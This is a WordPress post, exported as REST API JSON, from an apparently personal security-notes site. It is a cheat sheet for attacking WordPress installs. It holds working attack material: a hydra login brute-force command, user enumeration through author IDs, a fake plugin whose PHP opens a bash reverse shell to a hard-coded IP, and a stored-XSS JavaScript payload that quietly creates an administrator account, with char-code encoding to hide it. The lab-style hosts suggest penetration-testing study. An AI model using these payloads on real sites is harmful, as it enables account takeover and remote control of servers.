{"id":14,"date":"2017-01-18T12:00:29","date_gmt":"2017-01-18T11:00:29","guid":{"rendered":"http:\/\/itsec.andreas-klingler.de\/?p=14"},"modified":"2024-06-10T20:47:08","modified_gmt":"2024-06-10T18:47:08","slug":"wpscan","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=14","title":{"rendered":"WordPress"},"content":{"rendered":"\n

Enumeration<\/h2>\n\n\n\n

Github<\/a><\/p>\n\n\n\n

wpscan --url $target <\/pre>\n\n\n\n
Maybe an API<\/span> token could be use\u00adful \u2014 then, the Word\u00adPress Vul\u00adner\u00ada\u00adbil\u00adi\u00adty Data\u00adbase is used.<\/p>\n\n\n\n
Login brute force<\/h2>\n\n\n\n
hydra -l thinc -P best110.txt 10.11.1.234 -V http-form-post '\/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'<\/pre>\n\n\n\n
Check users:<\/p>\n\n\n\n
http:\/\/spectra.htb\/main\/?author=1<\/p>\n\n\n\n
http:\/\/spectra.htb\/main\/?author=2<\/p>\n\n\n\n
\u2026<\/p>\n\n\n\n
Most beautiful wordpress plugin<\/h2>\n\n\n\n
<?php \n\/*\nPlugin Name: Super plugin\n*\/\nexec(\"\/bin\/bash -c 'bash -i >& \/dev\/tcp\/192.168.178.65\/4444 0>&1'\");\n?><\/pre>\n\n\n\n
XSS<\/span> injection<\/h2>\n\n\n\n
If there is a way to inject code some\u00adwhere (e.g. via a plu\u00adg\u00adin) which could also be viewed\/executed by an admin, we could try to cre\u00adate an own admin account via a stored XSS<\/span> injection.<\/p>\n\n\n\n
Pre\u00adpare the javascript code:<\/p>\n\n\n\n
var ajaxRequest = new XMLHttpRequest();\nvar requestURL = \"\/wp-admin\/user-new.php\";\nvar nonceRegex = \/ser\" value=\"([^\"]*?)\"\/g;\najaxRequest.open(\"GET\", requestURL, false);\najaxRequest.send();\nvar nonceMatch = nonceRegex.exec(ajaxRequest.responseText);\nvar nonce = nonceMatch[1];\nvar params = \"action=createuser&_wpnonce_create-user=\"+nonce+\"&user_login=attacker&email=attacker@attacker.local&pass1=password&pass2= password&role=administrator\";\najaxRequest = new XMLHttpRequest();\najaxRequest.open(\"POST\", requestURL, true);\najaxRequest.setRequestHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\najaxRequest.send(params);<\/pre>\n\n\n\n
Min\u00adi\u00admize the code (e.g. via jscompress.com<\/a>). Then, encode it, e.g. with the fol\u00adlow\u00ading function:<\/p>\n\n\n\n
function encode_to_javascript(string) {\n            var input = string\n            var output = '';\n            for(pos = 0; pos < input.length; pos++) {\n                output += input.charCodeAt(pos);\n                if(pos != (input.length - 1)) {\n                    output += \",\";\n                }\n            }\n            return output;\n        }\n        \nlet encoded = encode_to_javascript('insert_minified_javascript')\nconsole.log(encoded)<\/pre>\n\n\n\n
Inject the script now:<\/p>\n\n\n\n
<script>eval(String.fromCharCode(\u2026))<\/script><\/pre>\n\n\n\n
\u2026 and wait for the code to be executed.<\/p>\n","protected":false},"excerpt":{"rendered":"
Enu\u00admer\u00ada\u00adtion Github wpscan \u2013url $tar\u00adget Maybe an API<\/span> token could be use\u00adful \u2014 then, the Word\u00adPress Vul\u00adner\u00ada\u00adbil\u00adi\u00adty Data\u00adbase is used. Login brute force hydra \u2011l thinc \u2011P best110.txt 10.11.1.234 \u2011V http-form-post \u2018\/wp-login.php:log=^USER<\/span>^&<\/span>pwd=^PASS<\/span>^&<\/span>wp-submit=Log In&<\/span>testcookie=1:S=Location\u2019 Check users: http:\/\/spectra.htb\/main\/?author=1 http:\/\/spectra.htb\/main\/?author=2 \u2026 Most beau\u00adti\u00adful word\u00adpress plu\u00adg\u00adin XSS<\/span> injec\u00adtion If there is a way to inject code some\u00adwhere (e.g. via a plugin) [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[470,475,477],"tags":[6,270,271],"class_list":["post-14","post","type-post","status-publish","format-standard","hentry","category-active-enum","category-attack-tool","category-software","tag-wordpress","tag-wp_scan","tag-wpscan"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/14","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14"}],"version-history":[{"count":12,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/14\/revisions"}],"predecessor-version":[{"id":3922,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/14\/revisions\/3922"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}